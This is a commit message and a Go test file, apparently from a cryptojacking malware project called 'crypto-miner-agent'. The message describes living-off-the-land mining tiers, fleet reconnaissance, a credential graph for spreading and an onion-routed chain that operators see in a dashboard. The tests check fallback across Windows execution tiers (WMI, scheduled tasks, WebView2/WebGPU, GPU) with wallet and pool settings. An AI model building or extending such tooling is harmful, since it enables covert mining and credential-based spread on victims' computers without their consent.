Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_webview2_probe_test.go

@@ -0,0 +1,74 @@
+package miner
+
+import (
+	"context"
+	"runtime"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestRunWebView2ProbeMock(t *testing.T) {
+	SetWebView2Probe(func() WebView2ProbeResult {
+		return WebView2ProbeResult{
+			RuntimeInstalled: true,
+			WebGPUAvailable:  true,
+			BinaryName:       webView2BinaryName,
+			ProbeOnly:        true,
+		}
+	})
+	defer SetWebView2Probe(nil)
+
+	attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
+	})
+	if !attempt.OK {
+		t.Fatalf("attempt=%+v", attempt)
+	}
+	if !WebGPUAvailableFromAttempt(attempt) {
+		t.Fatal("expected webgpu available")
+	}
+}
+
+func TestRunWebView2ProbeNoRuntimeGracefulSkip(t *testing.T) {
+	SetWebView2Probe(func() WebView2ProbeResult {
+		return WebView2ProbeResult{RuntimeInstalled: false, BinaryName: webView2BinaryName}
+	})
+	defer SetWebView2Probe(nil)
+
+	attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{})
+	if attempt.OK {
+		t.Fatal("expected probe failure without runtime")
+	}
+}
+
+func TestSelectMiningTierChainIncludesWindowsTiers(t *testing.T) {
+	if runtime.GOOS != "windows" {
+		t.Skip("windows LOTL tiers require windows")
+	}
+	probes := EnvironmentProbes{
+		Docker:     true,
+		WSL:        true,
+		PowerShell: true,
+		DotNet:     true,
+		GPU:        true,
+		WebView2:   true,
+	}
+	chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			GPUEnabled: true,
+			RVNWallet:  "rvn",
+			PoolHost:   "pool",
+			Wallet:     "cmr",
+		},
+	})
+	found := map[LOTLTier]bool{}
+	for _, t := range chain {
+		found[t] = true
+	}
+	for _, want := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute} {
+		if !found[want] {
+			t.Fatalf("missing tier %s in %v", want, chain)
+		}
+	}
+}